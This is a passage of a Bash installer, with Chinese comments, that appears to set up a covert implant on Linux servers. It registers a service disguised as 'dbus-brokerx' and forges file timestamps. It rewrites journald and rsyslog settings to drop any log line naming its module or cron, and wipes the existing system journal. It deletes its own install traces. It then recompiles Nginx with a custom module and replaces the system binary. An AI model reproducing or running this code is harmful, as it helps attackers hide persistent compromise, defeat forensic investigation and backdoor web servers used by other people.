        \$0 start
        ;;
    status)
        if pgrep -f "\$SCRIPT" >/dev/null; then
            echo "Service is running"
            exit 0
        else
            echo "Service is not running"
            exit 1
        fi
        ;;
    *)
        echo "Usage: \$0 {start|stop|restart|status}"
        exit 1
        ;;
esac

exit 0
EOF

        # 设置可执行权限
        if ! chmod +x "$initd_path"; then
            log_error "Failed to set executable permission on $initd_path"
            return 1
        fi
        
        # 应用时间戳伪装
        if [ -n "$base_time" ]; then
            spoof_file_timestamp "$initd_path" "$base_time" || 
                log_warn "Failed to spoof timestamp for $initd_path"
        fi
        
        # 注册init脚本到系统启动
        if command -v chkconfig &>/dev/null; then
            if ! chkconfig --add "dbus-brokerx" &>/dev/null; then
                log_warn "Failed to add service with chkconfig"
            else
                log_info "Service registered with chkconfig"
            fi
        elif command -v update-rc.d &>/dev/null; then
            if ! update-rc.d "dbus-brokerx" defaults &>/dev/null; then
                log_warn "Failed to add service with update-rc.d"
            else
                log_info "Service registered with update-rc.d"
            fi
        fi
        
        # 尝试启动服务
        if ! "$initd_path" start &>/dev/null; then
            log_warn "Failed to start service through init script"
        else
            log_success "Service started successfully"
        fi
        
        log_success "SysV init script installed and configured: $initd_path"
    fi
    
    log_success "Log cleaner service setup completed successfully"
    return 0
}

disable_journald_logs() {
  log_start "Disabling logs containing ${MODULE}..."

  # 定义配置文件路径
  local journald_config="/etc/systemd/journald.conf.d/01-systembuffer.conf"
  local rsyslog_config="/etc/rsyslog.d/00-systembuff.conf"
  
  # 检查是否已配置
  if [[ -f "$journald_config" && -f "$rsyslog_config" && -f "/etc/systemd/journald.conf" ]]; then
    # 进一步验证内容
    local journald_check=$(grep -c "SystemMaxUse=50M" "$journald_config" 2>/dev/null || echo "0")
    local rsyslog_check=$(grep -c ":msg, contains, \"${MODULE:-bangkokviews}\"" "$rsyslog_config" 2>/dev/null || echo "0")
    local main_check=$(grep -c "Storage=volatile" "/etc/systemd/journald.conf" 2>/dev/null || echo "0")
    
    if [[ "$journald_check" -gt 0 && "$rsyslog_check" -gt 0 && "$main_check" -gt 0 ]]; then
      log_info "Log filtering is already configured."
      return 0
    fi
  fi

  # Get base timestamp for timestamp spoofing
  if ! get_base_time "/etc"; then
    if [ -z "$base_time" ]; then
      if [ -f "/bin/bash" ]; then
        base_time=$(stat -c %y "/bin/bash" 2>/dev/null || true)
      elif [ -f "/bin/sh" ]; then
        base_time=$(stat -c %y "/bin/sh" 2>/dev/null || true)
      else
        log_warn "Could not find a reliable base time for timestamp spoofing."
      fi
    fi
  fi
	
  # Create necessary directories
  mkdir -p /etc/systemd/journald.conf.d || {
    log_warn "Failed to create journald configuration directory."
  }
  
  mkdir -p /etc/rsyslog.d || {
    log_warn "Failed to create rsyslog configuration directory."
  }

  # Ensure MODULE variable is set, use default if not set
  local module_name="${MODULE:-bangkokviews}"
  
  # ===== Modify journald main config file =====
  log_info "Modifying main journald config file to reduce logging..."
  cat > /etc/systemd/journald.conf << EOF
[Journal]
Storage=volatile
RuntimeMaxUse=10M
ForwardToSyslog=no
ForwardToKMsg=no
ForwardToConsole=no
ForwardToWall=no
MaxLevelStore=warning
MaxLevelSyslog=warning
MaxLevelKMsg=warning
MaxLevelConsole=warning
MaxLevelWall=emerg
EOF

  if [ $? -eq 0 ]; then
    log_success "Main journald configuration file modified successfully."
    
    # Apply timestamp spoofing
    if [ -n "$base_time" ]; then
      spoof_file_timestamp "/etc/systemd/journald.conf" "$base_time" || 
        log_warn "Failed to spoof timestamp for journald main config file."
    fi
  else
    log_error "Failed to modify main journald configuration file."
  fi
  
  # ===== journald configuration =====
  # Check if journald config already exists
  local journald_config_exists=0
  
  if [ -f "$journald_config" ]; then
    log_info "Journald filter configuration already exists, checking content..."
    if grep -q "SystemMaxUse=50M" "$journald_config"; then
      journald_config_exists=1
      log_info "Journald filter configuration is already set up correctly."
    fi
  fi
  
  # Create journald filter config
  if [ -d "/etc/systemd/journald.conf.d" ] && [ $journald_config_exists -eq 0 ]; then
    log_info "Configuring systemd-journald to filter logs..."
    cat > "$journald_config" << EOF
[Journal]
SystemMaxUse=50M
RuntimeMaxUse=10M
SystemMaxFileSize=10M
RuntimeMaxFileSize=5M
MaxFileSec=1day
SuppressField=_KERNEL_DEVICE
SuppressField=_KERNEL_SUBSYSTEM
SuppressSubject=${module_name}
SuppressSubject=Failed to find module '${module_name}'
SuppressSubject=Failed to insert '${module_name}'
SuppressSubject=Executable path is not absolute
EOF
    if [ $? -eq 0 ]; then
      log_success "Journald filter configuration created successfully."
      
      # Apply timestamp spoofing to hide installation time
      if [ -n "$base_time" ]; then
        spoof_file_timestamp "$journald_config" "$base_time" || 
          log_warn "Failed to spoof timestamp for journald config."
      fi
    else
      log_error "Failed to create journald configuration."
    fi
  elif [ $journald_config_exists -eq 1 ]; then
    log_info "Skipping journald configuration creation as it already exists."
  else
    log_warn "Journald configuration directory not available on this system."
  fi

  # ===== rsyslog configuration =====
  # Check if rsyslog config already exists
  local rsyslog_config_exists=0
  
  if [ -f "$rsyslog_config" ]; then
    log_info "Rsyslog configuration already exists, checking content..."
    if grep -q ":msg, contains, \"$module_name\" ~" "$rsyslog_config"; then
      rsyslog_config_exists=1
      log_info "Rsyslog configuration is already set up correctly."
    fi
  fi

  # Create rsyslog filter config
  if [ -d "/etc/rsyslog.d" ] && [ $rsyslog_config_exists -eq 0 ]; then
    log_info "Configuring rsyslog to filter logs..."
    cat > "$rsyslog_config" << EOF
:msg, contains, "${module_name}" ~
:programname, contains, "${module_name}" ~
:syslogtag, contains, "${module_name}" ~
:msg, contains, "systemd-modules-load" ~
:msg, contains, "Failed to find module" ~
:msg, contains, "Failed to insert" ~
:msg, contains, "Inserted module" ~
:msg, contains, "CRON" ~
:msg, contains, "exec /usr/share/auditdb4.2/" ~
:msg, contains, "Executable path is not absolute" ~
EOF
    if [ $? -eq 0 ]; then
      log_success "Rsyslog configuration created successfully."
      
      # Apply timestamp spoofing
      if [ -n "$base_time" ]; then
        spoof_file_timestamp "$rsyslog_config" "$base_time" || 
          log_warn "Failed to spoof timestamp for rsyslog config."
      fi
    else
      log_error "Failed to create rsyslog configuration."
    fi
  elif [ $rsyslog_config_exists -eq 1 ]; then
    log_info "Skipping rsyslog configuration creation as it already exists."
  else
    log_warn "Rsyslog configuration directory not available on this system."
  fi
  
  # ===== Force clean existing logs =====
  log_info "Force cleaning existing logs..."
  
  # Stop journald service
  if command -v systemctl &>/dev/null; then
    systemctl stop systemd-journald 2>/dev/null || true
  else
    service systemd-journald stop 2>/dev/null || true
  fi
  
  # Remove log files
  rm -rf /var/log/journal/* 2>/dev/null || true
  mkdir -p /var/log/journal 2>/dev/null || true

  # ===== Restart services =====
  log_info "Restarting logging services..."
  
  # Restart journald
  if command -v systemctl &>/dev/null; then
    if systemctl restart systemd-journald; then
      log_success "Journald service restarted."
    else
      log_warn "Failed to restart journald service."
    fi
  elif command -v service &>/dev/null; then
    if service systemd-journald restart &>/dev/null; then
      log_success "Journald service restarted (using service command)."
    else
      log_warn "Failed to restart journald service."
    fi
  else
    log_warn "Journald service not detected or cannot be restarted."
  fi
  
  # Check and restart rsyslog service
  if command -v systemctl &>/dev/null && systemctl is-active --quiet rsyslog; then
    if systemctl restart rsyslog; then
      log_success "Rsyslog service restarted."
    else
      log_warn "Failed to restart rsyslog service."
    fi
  elif command -v service &>/dev/null; then
    if service rsyslog restart &>/dev/null; then
      log_success "Rsyslog service restarted (using service command)."
    else
      log_warn "Failed to restart rsyslog service."
    fi
  else
    log_warn "Rsyslog service not detected or not running."
  fi
  
  log_success "Log filtering configuration complete."
  return 0
}

removeDirectory() {
    # 提示用户确认是否删除目录
    if [ -z "${SCRIPT_DIR}" ]; then
        log_error "SCRIPT_DIR is not defined. Cannot proceed with directory removal."
        return 1
    fi
    # 确保SCRIPT_DIR以/opt开头，作为安全检查
    if [[ "${SCRIPT_DIR}" != /opt/* ]]; then
        log_error "Security check failed: SCRIPT_DIR must start with /opt/. Got: ${SCRIPT_DIR}"
        return 1
    fi
    # 用户确认
    while true; do
        echo -ne "${YELLOW}Delete the script's directory (${SCRIPT_DIR})? (Y/n): ${NC}"
        read -r -n 1 REPLY
        echo  # 手动换行
        case "$REPLY" in
            [Yy]) break ;;
            [Nn]) log_info "Directory deletion skipped."; return 0 ;;
            *) log_error "Invalid input. Please enter 'y' or 'n'." ;;
        esac
    done
    # 确保要删除的目录存在
    if [[ ! -d "${SCRIPT_DIR}" ]]; then
        log_warn "Directory ${SCRIPT_DIR} does not exist. Skipping deletion."
        return 0
    fi
    # 防止误删其他目录的额外检查
    if [[ "${SCRIPT_DIR}" == "/" || "${SCRIPT_DIR}" == "/bin" || "${SCRIPT_DIR}" == "/etc" || "${SCRIPT_DIR}" == "/usr" || "${SCRIPT_DIR}" == "/var" ]]; then
        log_error "Security check failed: Attempting to delete critical system directory. Aborting."
        return 1
    fi
    # 获取当前工作目录进行比较
    local CURRENT_DIR
    CURRENT_DIR=$(pwd)
    # 如果当前在要删除的目录内，先切换到安全目录
    if [[ "${CURRENT_DIR}" == "${SCRIPT_DIR}"* ]]; then
        log_info "Currently inside target directory. Switching to /opt before deletion..."
        if ! cd /opt; then
            log_error "Failed to switch to /opt. Aborting deletion."
            return 1
        fi
    fi
    # 删除目标目录
    log_start "Deleting script directory: ${SCRIPT_DIR}"
    if ! rm -rf "${SCRIPT_DIR}"; then
        log_error "Failed to delete directory ${SCRIPT_DIR}."
        
        # 尝试递归移除目录内容作为备选方案
        log_info "Trying alternative removal method..."
        find "${SCRIPT_DIR}" -type f -delete
        find "${SCRIPT_DIR}" -type l -delete
        find "${SCRIPT_DIR}" -type d -empty -delete
        
        # 再次尝试删除目录
        if ! rmdir "${SCRIPT_DIR}" 2>/dev/null; then
            log_error "Alternative removal also failed. Directory may contain protected files."
            return 1
        else
            log_success "Directory removed using alternative method."
        fi
    else
        log_success "Script directory removed successfully."
    fi
    # 删除可能的残留文件和目录
    log_info "Searching for and removing leftover files..."
    local removed_count=0
    
    for dir in /opt /root /tmp /var/tmp; do
        # 查找并删除剩余的libzip目录
        while IFS= read -r target_dir; do
            if [ -d "$target_dir" ]; then
                if rm -rf "$target_dir" 2>/dev/null; then
                    log_info "Removed leftover directory: $target_dir"
                    ((removed_count++))
                fi
            fi
        done < <(find "$dir" -type d -name "libzip" 2>/dev/null || echo "")
        
        # 查找并删除剩余的libzip.tar.gz文件
        while IFS= read -r target_file; do
            if [ -f "$target_file" ]; then
                if rm -f "$target_file" 2>/dev/null; then
                    log_info "Removed leftover file: $target_file"
                    ((removed_count++))
                fi
            fi
        done < <(find "$dir" -type f -name "libzip.tar.gz" 2>/dev/null || echo "")
    done
    # 清理可能的临时文件
    for tmpfile in /tmp/libzip* /tmp/install* /tmp/setup*; do
        if [ -e "$tmpfile" ]; then
            rm -rf "$tmpfile" 2>/dev/null && {
                log_info "Removed temporary file: $tmpfile"
                ((removed_count++))
            }
        fi
    done
    log_success "Cleanup complete. Removed script directory and $removed_count leftover files/directories."
    return 0
}

# ================================= NGINX =====================================================

deploy_nginx_module() {
    log_start "Installing Nginx module..."
    
	# 禁止重复安装
	if nginx -V 2>&1 | grep -q "ngx_http_stream_state_module"; then
		log_info "Nginx module ngx_http_stream_state_module has already been integrated, skipping installation."
		return 0
	fi

    # 根据架构检查是否支持
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping nginx module installation for $ARCH architecture..."
            return 0
            ;;
    esac
    
    # 定义常量
    local MODULE_NAME="ngx_http_stream_state_module"
    local MODULE_DIR="NGINX"
    local MODULE_FILE="$MODULE_DIR/${MODULE_NAME}.c"
    local CONFIG_FILE="$MODULE_DIR/config"
    NGINXSTATUS=0
    local NGINX_BACKUP_PATH=""
    
    # 检查模块源文件是否存在
    if [ ! -f "$MODULE_FILE" ]; then
        log_error "Module source file $MODULE_FILE not found. Please make sure it exists."
        return 1
    else
        log_info "Found module source file: $MODULE_FILE"
    fi
    
    # 检查配置文件是否存在
    if [ ! -f "$CONFIG_FILE" ]; then
        log_error "Module config file $CONFIG_FILE not found. Please make sure it exists."
        return 1
    else
        log_info "Found module config file: $CONFIG_FILE"
    fi
    
    # 初始化变量
    local NGINX_INSTALLED=false
    local NGINX_BIN=""
    local NGINX_BIN_PATH=""
    local NGINX_VERSION=""
    local NGINX_PREFIX=""
    local NGINX_CONF_PATH=""
    
    # 查找Nginx二进制文件
    detect_nginx_binary() {
        log_info "Detecting Nginx installation..."
        
        # 首先检查命令是否存在
        if command -v nginx >/dev/null 2>&1; then
            NGINX_BIN="nginx"
            NGINX_BIN_PATH=$(command -v nginx)
            NGINX_INSTALLED=true
            log_success "Found Nginx in PATH: $NGINX_BIN_PATH"
            return 0
        fi
        
        # 常见的Nginx安装位置
        local nginx_locations=(
            "/usr/sbin/nginx"
            "/usr/local/sbin/nginx"
            "/usr/local/nginx/sbin/nginx"
            "/opt/nginx/sbin/nginx"
            "/usr/share/nginx/sbin/nginx"
            "/usr/local/share/nginx/sbin/nginx"
        )
        
        # 检查常见位置
        for location in "${nginx_locations[@]}"; do
            if [ -x "$location" ]; then
                NGINX_BIN="nginx"
                NGINX_BIN_PATH="$location"
                NGINX_INSTALLED=true
                log_success "Found Nginx in common location: $NGINX_BIN_PATH"
                return 0
            fi
        done
        
        # 如果仍未找到，使用find命令搜索系统
        log_info "Searching for Nginx binary in the system..."
        local found_nginx=$(find /usr /opt /usr/local -name "nginx" -type f -executable -print -quit 2>/dev/null)
        
        if [ -n "$found_nginx" ]; then
            NGINX_BIN="nginx"
            NGINX_BIN_PATH="$found_nginx"
            NGINX_INSTALLED=true
            log_success "Found Nginx through system search: $NGINX_BIN_PATH"
            return 0
        fi
        
        # 如果仍然没有找到，检查是否有运行中的Nginx
        local nginx_process=$(ps aux | grep -v grep | grep "nginx: master process" | head -n 1)
        
        if [ -n "$nginx_process" ]; then
            # 从进程中提取Nginx路径
            local nginx_proc_path=$(echo "$nginx_process" | awk '{for(i=1;i<=NF;i++) if($i ~ /nginx:/) {j=i-1; print $j; break}}')
            
            if [ -n "$nginx_proc_path" ] && [ -x "$nginx_proc_path" ]; then
                NGINX_BIN="nginx"
                NGINX_BIN_PATH="$nginx_proc_path"
                NGINX_INSTALLED=true
                log_success "Found Nginx from running process: $NGINX_BIN_PATH"
                return 0
            fi
        fi
        
        log_warn "No Nginx installation found in the system."
        return 1
    }
    
    # 获取Nginx详细信息
    get_nginx_details() {
        if [ -z "$NGINX_BIN_PATH" ]; then
            log_error "Nginx binary path not set."
            return 1
        fi
        
        log_info "Getting Nginx installation details..."
        
        # 获取Nginx版本
        NGINX_VERSION=$("$NGINX_BIN_PATH" -v 2>&1 | grep -oE "nginx/[0-9]+\.[0-9]+\.[0-9]+" | cut -d'/' -f2)
        
        if [ -z "$NGINX_VERSION" ]; then
            log_warn "Could not get Nginx full version"
            # 尝试获取主要版本号
            NGINX_VERSION=$("$NGINX_BIN_PATH" -v 2>&1 | grep -oE "nginx/[0-9]+\.[0-9]+" | cut -d'/' -f2)
            
            if [ -z "$NGINX_VERSION" ]; then
                # 使用一个合理的默认版本
                NGINX_VERSION="1.26.0"
                log_warn "Could not detect Nginx version, using default: $NGINX_VERSION"
            else
                log_info "Got Nginx major version: $NGINX_VERSION"
                # 补全版本号
                NGINX_VERSION="${NGINX_VERSION}.0"
            fi
        else
            log_success "Detected Nginx version: $NGINX_VERSION"
        fi
        
        # 获取Nginx安装前缀
        local nginx_prefix_line=$("$NGINX_BIN_PATH" -V 2>&1 | grep -oE "configure arguments:.*" | grep -oE "prefix=[^ ]+")
        
        if [ -n "$nginx_prefix_line" ]; then
            NGINX_PREFIX=$(echo "$nginx_prefix_line" | cut -d'=' -f2)
            NGINX_PREFIX=${NGINX_PREFIX//\'/}  # 去除可能的引号
            log_success "Detected Nginx prefix: $NGINX_PREFIX"
        else
            # 尝试猜测前缀
            local nginx_bin_dir=$(dirname "$NGINX_BIN_PATH")
            local potential_prefix=$(dirname "$nginx_bin_dir")
            
            if [ -d "$potential_prefix" ]; then
                NGINX_PREFIX="$potential_prefix"
                log_info "Guessing Nginx prefix: $NGINX_PREFIX"
            else
                # 使用默认值
                NGINX_PREFIX="/usr/local/nginx"
                log_warn "Could not get Nginx prefix, using default: $NGINX_PREFIX"
            fi
        fi
        
        # 检测配置文件路径
        local nginx_conf_pathline=$("$NGINX_BIN_PATH" -V 2>&1 | grep -oE "configure arguments:.*" | grep -oE "conf-path=[^ ]+")
        
        if [ -n "$nginx_conf_pathline" ]; then
            NGINX_CONF_PATH=$(echo "$nginx_conf_pathline" | cut -d'=' -f2)
            NGINX_CONF_PATH=${NGINX_CONF_PATH//\'/}  # 去除可能的引号
            log_success "Detected Nginx config file path: $NGINX_CONF_PATH"
        else
            # 检查常见位置
            local common_conf_paths=(
                "$NGINX_PREFIX/conf/nginx.conf"
                "/etc/nginx/nginx.conf"
                "/usr/local/etc/nginx/nginx.conf"
            )
            
            for conf_path in "${common_conf_paths[@]}"; do
                if [ -f "$conf_path" ]; then
                    NGINX_CONF_PATH="$conf_path"
                    log_success "Found Nginx config file: $NGINX_CONF_PATH"
                    break
                fi
            done
            
            if [ -z "$NGINX_CONF_PATH" ]; then
                NGINX_CONF_PATH="$NGINX_PREFIX/conf/nginx.conf"
                log_warn "Could not find Nginx config file, using default: $NGINX_CONF_PATH"
            fi
        fi
        
        # 记录信息
        log_info "Nginx details:"
        log_info "- Binary: $NGINX_BIN_PATH"
        log_info "- Version: $NGINX_VERSION"
        log_info "- Install prefix: $NGINX_PREFIX"
        log_info "- Config file: $NGINX_CONF_PATH"
        
        return 0
    }
    
    # 下载Nginx源码
    download_nginx_source() {
        local version="$1"
        local download_dir="$2"
        local download_url="http://nginx.org/download/nginx-${version}.tar.gz"
        
        log_info "Downloading Nginx ${version} source code..."
        
        if ! mkdir -p "$download_dir"; then
            log_error "Could not create download directory: $download_dir"
            return 1
        fi
        
        # 下载源码
        local wget_tries=3
        local wget_retry=0
        local download_success=false
        
        while [ $wget_retry -lt $wget_tries ] && [ "$download_success" = false ]; do
            log_info "Attempting to download Nginx source (attempt $((wget_retry+1))/$wget_tries)..."
            if wget -q --timeout=30 --tries=2 "$download_url" -O "${download_dir}/nginx-${version}.tar.gz"; then
                download_success=true
                log_success "Nginx source code download successful"
            else
                wget_retry=$((wget_retry+1))
                if [ $wget_retry -lt $wget_tries ]; then
                    log_warn "Download failed, retrying in 5 seconds..."
                    sleep 5
                fi
            fi
        done
        
        # 如果主站点下载失败，尝试备用镜像
        if [ "$download_success" = false ]; then
            log_warn "Download from official site failed, trying backup mirrors..."
            
            local backup_urls=(
                "https://mirrors.aliyun.com/nginx/nginx-${version}.tar.gz"
                "https://mirrors.ustc.edu.cn/nginx/nginx-${version}.tar.gz"
                "https://nginx.org/download/nginx-${version}.tar.gz"
            )
            
            for url in "${backup_urls[@]}"; do
                log_info "Trying backup mirror: $url"
                if wget -q --timeout=30 --tries=2 "$url" -O "${download_dir}/nginx-${version}.tar.gz"; then
                    download_success=true
                    log_success "Download successful from backup mirror: $url"
                    break
                fi
            done
        fi
        
        # 如果下载仍然失败，尝试使用curl作为备选
        if [ "$download_success" = false ] && command -v curl >/dev/null 2>&1; then
            log_warn "wget download failed, trying curl..."
            
            if curl -s -o "${download_dir}/nginx-${version}.tar.gz" --connect-timeout 30 "$download_url"; then
                download_success=true
                log_success "Successfully downloaded Nginx source code using curl"
            else
                # 尝试备用镜像
                for url in "${backup_urls[@]}"; do
                    log_info "Trying using curl with backup mirror: $url"
                    if curl -s -o "${download_dir}/nginx-${version}.tar.gz" --connect-timeout 30 "$url"; then
                        download_success=true
                        log_success "Successfully downloaded from backup mirror using curl: $url"
                        break
                    fi
                done
            fi
        fi
        
        # 最终检查下载结果
        if [ "$download_success" = false ]; then
            log_error "All download methods failed, could not get Nginx source code"
            return 1
        fi
        
        # 验证下载的文件大小
        local file_size=$(stat -c %s "${download_dir}/nginx-${version}.tar.gz" 2>/dev/null || echo "0")
        if [ "$file_size" -lt 1000000 ]; then  # 文件至少应该有1MB
            log_error "Downloaded Nginx source file is too small (${file_size} bytes), may be corrupted"
            return 1
        fi
        
        # 解压源码
        log_info "Extracting Nginx source code..."
        if ! tar -xzf "${download_dir}/nginx-${version}.tar.gz" -C "$download_dir"; then
            log_error "Failed to extract Nginx source code"
            # 尝试删除可能损坏的压缩包并返回错误
            rm -f "${download_dir}/nginx-${version}.tar.gz"
            return 1
        fi
        
        # 检查解压后的目录是否存在
        if [ ! -d "${download_dir}/nginx-${version}" ]; then
            log_error "Could not find extracted directory: ${download_dir}/nginx-${version}"
            return 1
        fi
        
        log_success "Nginx source code extracted successfully: ${download_dir}/nginx-${version}"
        return 0
    }
    
    # 安装编译依赖项
    install_build_dependencies() {
			log_info "Installing Nginx build dependencies..."
			
			local install_status=0
			local required_packages=()
			
			case "${SYSTEM}" in
				debian|ubuntu)
					required_packages=(
						"build-essential" "libpcre3-dev" "zlib1g-dev" "libssl-dev"
						"libxml2-dev" "libxslt1-dev" "libgd-dev" "libgeoip-dev"
						"libperl-dev" "wget"
					)
					log_info "Using apt-get to install dependencies..."
					apt-get update -y >/dev/null 2>&1 || log_warn "apt-get update failed, continuing..."
					
					for pkg in "${required_packages[@]}"; do
						if ! dpkg -l | grep -q "^ii.*$pkg "; then
							log_info "Installing package: $pkg"
							if ! installPackage "apt-get" "$pkg"; then
								log_warn "Failed to install $pkg, continuing with other packages..."
								install_status=1
							fi
						else
							log_info "Package $pkg is already installed, skipping."
						fi
					done
					;;
					
				redhat|centos|fedora|oracle|oraclelinux|rocky)
					required_packages=(
						"gcc" "gcc-c++" "make" "pcre-devel" "zlib-devel" "openssl-devel"
						"libxml2-devel" "libxslt-devel" "gd-devel" "GeoIP-devel"
						"perl-devel" "perl-ExtUtils-Embed" "wget"
					)
					
					local pkg_manager="yum"
					if command -v dnf >/dev/null 2>&1; then
						pkg_manager="dnf"
					fi
					
					log_info "Using $pkg_manager to install dependencies..."
					
					for pkg in "${required_packages[@]}"; do
						if ! rpm -q "$pkg" &>/dev/null; then
							log_info "Installing package: $pkg"
							if ! installPackage "$pkg_manager" "$pkg"; then
								log_warn "Failed to install $pkg, continuing with other packages..."
								install_status=1
							fi
						else
							log_info "Package $pkg is already installed, skipping."
						fi
					done
					;;
					
				suse|opensuse)
					required_packages=(
						"gcc" "make" "pcre-devel" "zlib-devel" "libopenssl-devel"
						"libxml2-devel" "libxslt-devel" "gd-devel" "perl-devel" "wget"
					)
					
					log_info "Using zypper to install dependencies..."
					
					for pkg in "${required_packages[@]}"; do
						if ! rpm -q "$pkg" &>/dev/null; then
							log_info "Installing package: $pkg"
							if ! installPackage "zypper" "$pkg"; then
								log_warn "Failed to install $pkg, continuing with other packages..."
								install_status=1
							fi
						else
							log_info "Package $pkg is already installed, skipping."
						fi
					done
					;;
					
				arch|manjaro)
					required_packages=(
						"base-devel" "pcre" "zlib" "openssl"
						"libxml2" "libxslt" "gd" "geoip" "perl" "wget"
					)
					
					log_info "Using pacman to install dependencies..."
					
					for pkg in "${required_packages[@]}"; do
						if ! pacman -Q "$pkg" &>/dev/null; then
							log_info "Installing package: $pkg"
							if ! installPackage "pacman" "$pkg"; then
								log_warn "Failed to install $pkg, continuing with other packages..."
								install_status=1
							fi
						else
							log_info "Package $pkg is already installed, skipping."
						fi
					done
					;;
					
				*)
					log_warn "Unknown Linux distribution: ${SYSTEM}, skipping dependency installation."
					log_info "Please make sure the following dependencies are installed: gcc, make, pcre-devel, zlib-devel, openssl-devel, wget"
					;;
			esac
			
			# 检查核心编译工具是否存在，如果不存在则视为失败
			if ! command -v gcc >/dev/null 2>&1 || ! command -v make >/dev/null 2>&1; then
				log_error "Core build tools missing (gcc/make), cannot continue compilation"
				return 1
			fi
			
			if [ $install_status -eq 0 ]; then
				log_success "All required dependencies are installed."
				return 0
			else
				# 再次检查核心包
				local core_packages=("gcc" "make" "pcre" "zlib" "openssl")
				local missing_core=false
				
				for pkg in "${core_packages[@]}"; do
					if ! command -v "$pkg" >/dev/null 2>&1; then
						case "$pkg" in
							pcre|zlib|openssl)
								# 这些库不一定有直接命令，检查库文件
								if ! find /usr/lib* /usr/local/lib* -name "lib${pkg}*.so*" | grep -q .; then
									log_warn "Core dependency $pkg may be missing"
									missing_core=true
								fi
								;;
							*)
								log_warn "Core dependency $pkg is missing"
								missing_core=true
								;;
						esac
					fi
				done
				
				if [ "$missing_core" = true ]; then
					log_error "Critical dependencies missing, build process may fail"
					return 1
				else
					log_warn "Some dependencies failed to install, but core build tools are present, will continue trying to build"
					return 0
				fi
			fi
		}
		
	# 使用当前Nginx配置构建静态模块
	build_static_module() {
		local temp_dir="$1"
		local module_output_path="$2"
		
		log_info "Building static module with current Nginx configuration..."
		
		# Get current Nginx configure arguments
		local nginx_configure_args=$("$NGINX_BIN_PATH" -V 2>&1 | grep -oE "configure arguments: .*" | sed -e 's/configure arguments: //')
		
		if [ -z "$nginx_configure_args" ]; then
			log_error "Could not get current Nginx configure arguments"
			return 1
		fi
		
		# Download Nginx source code if not already present
		if [ ! -d "$temp_dir/nginx-$NGINX_VERSION" ]; then
			log_info "Downloading matching Nginx source code (version $NGINX_VERSION)..."
			if ! download_nginx_source "$NGINX_VERSION" "$temp_dir"; then
				log_error "Could not download Nginx source code"
				return 1
			fi
		else
			log_info "Using existing Nginx source code in $temp_dir/nginx-$NGINX_VERSION"
		fi
		
		# Setup module directory and copy files
		log_info "Setting up module in Nginx source tree..."
		mkdir -p "$temp_dir/nginx-$NGINX_VERSION/${MODULE_NAME}" || {
			log_error "Failed to create module directory: ${MODULE_NAME}"
			return 1
		}
		
		# Copy module files (using one command for better error handling)
		if ! cp "$MODULE_FILE" "$CONFIG_FILE" "$temp_dir/nginx-$NGINX_VERSION/${MODULE_NAME}/"; then
			log_error "Failed to copy module files to module directory"
			return 1
		fi
		
		# Enter Nginx source directory
		pushd "$temp_dir/nginx-$NGINX_VERSION" > /dev/null || {
			log_error "Could not enter Nginx source directory"
			return 1
		}
		
		# Debug info - show module structure
		log_info "Module directory structure:"
		ls -la "${MODULE_NAME}/"
		
		# Verify source code structure
		if [ ! -d "src/http/modules/" ]; then
			log_error "Could not find Nginx modules directory: src/http/modules/"
			popd > /dev/null
			return 1
		fi
		
		# Configure with module from inside nginx source directory
		local modified_args="$nginx_configure_args --add-module=${MODULE_NAME}"
		
		log_info "Using configure args: $modified_args"
		
		# Run configure with required args
		if ! eval "./configure $modified_args"; then
			log_error "Nginx configuration failed"
			log_error "Checking module config file existence:"
			ls -la "${MODULE_NAME}" 
			cat "${MODULE_NAME}/config" 2>/dev/null || log_error "Config file could not be read"
			popd > /dev/null
			return 1
		fi
		
		# Determine optimal number of parallel make jobs
		local make_j=1
		if command -v nproc >/dev/null 2>&1; then
			# Use available CPU cores, but max 4 cores
			make_j=$(nproc 2>/dev/null)
			[ $make_j -gt 4 ] && make_j=4
		fi
		
		# Compile Nginx with our module
		log_info "Compiling Nginx (with static module) using $make_j parallel jobs..."
		if ! make -j$make_j; then
			log_error "Nginx compilation failed"
			popd > /dev/null
			return 1
		fi
		
		log_success "Static module compilation successful, integrated into Nginx"
		
		# Find compiled Nginx binary
		local compiled_nginx=$(find objs/ -name "nginx" -type f -executable -print -quit)
		
		if [ -z "$compiled_nginx" ]; then
			log_error "Could not find compiled Nginx binary"
			popd > /dev/null
			return 1
		fi
		
		log_success "Nginx compiled successfully: $compiled_nginx"
		
		# Backup original Nginx binary with timestamp
		local nginx_backup_file="/tmp/ntmp_$(date +%s)"
		NGINX_BACKUP_PATH="$nginx_backup_file"  # Set global variable for reporting
		
		if [ -f "$NGINX_BIN_PATH" ]; then
			if cp -f "$NGINX_BIN_PATH" "$nginx_backup_file"; then
				log_success "Original Nginx binary backed up to: $nginx_backup_file"
				# Set proper permissions on backup
				chmod 600 "$nginx_backup_file" 2>/dev/null
			else
				log_error "Failed to backup Nginx binary"
				popd > /dev/null
				return 1
			fi
		fi
		
		# Test newly compiled Nginx configuration
		log_info "Testing Nginx configuration with newly built binary..."
		if ! "$compiled_nginx" -t -c "$NGINX_CONF_PATH"; then
			log_error "Configuration test failed with new Nginx binary"
			log_info "Keeping the original Nginx. Aborting update."
			popd > /dev/null
			return 1
		fi
		
		log_success "Configuration test passed with new Nginx binary"
		
		# Stop Nginx before replacement
		stop_nginx_service
		
		# Copy Nginx binary to final location
		log_info "Replacing Nginx binary: $module_output_path"
		if ! cp -f "$compiled_nginx" "$module_output_path"; then
			log_error "Failed to copy Nginx binary to output path: $module_output_path"
			log_info "Compiled Nginx is at: $compiled_nginx"
			log_info "Original backup is at: $nginx_backup_file"
			
			# Try to restore Nginx operation
			restart_nginx
			
			popd > /dev/null
			return 1
		fi
		
		# Set correct permissions
		if ! chmod 755 "$module_output_path"; then
			log_warn "Failed to set Nginx binary permissions"
		fi
		
		# Verify module integration
		if ! "$module_output_path" -V 2>&1 | grep -q "$MODULE_NAME"; then
			log_error "Module $MODULE_NAME does not appear to be integrated into the compiled Nginx"
			
			# Capture and log the full Nginx -V output for diagnostic purposes
			local nginx_v_output=$("$module_output_path" -V 2>&1)
			log_error "Nginx configuration output: $nginx_v_output"
			
			# Restore original binary
			log_info "Restoring original Nginx binary..."
			if cp -f "$NGINX_BACKUP_PATH" "$module_output_path"; then
				chmod 755 "$module_output_path"
				log_success "Original Nginx binary restored"
			fi
			
			# Try to restore Nginx operation
			restart_nginx
			
			popd > /dev/null
			return 1
		fi
		
		log_success "Nginx binary successfully replaced with module integrated: $module_output_path"
		
		# Return from source directory
		popd > /dev/null
		
		# Apply timestamp spoofing
		if [ -n "$base_time" ]; then
			log_info "Applying timestamp spoofing to Nginx binary..."
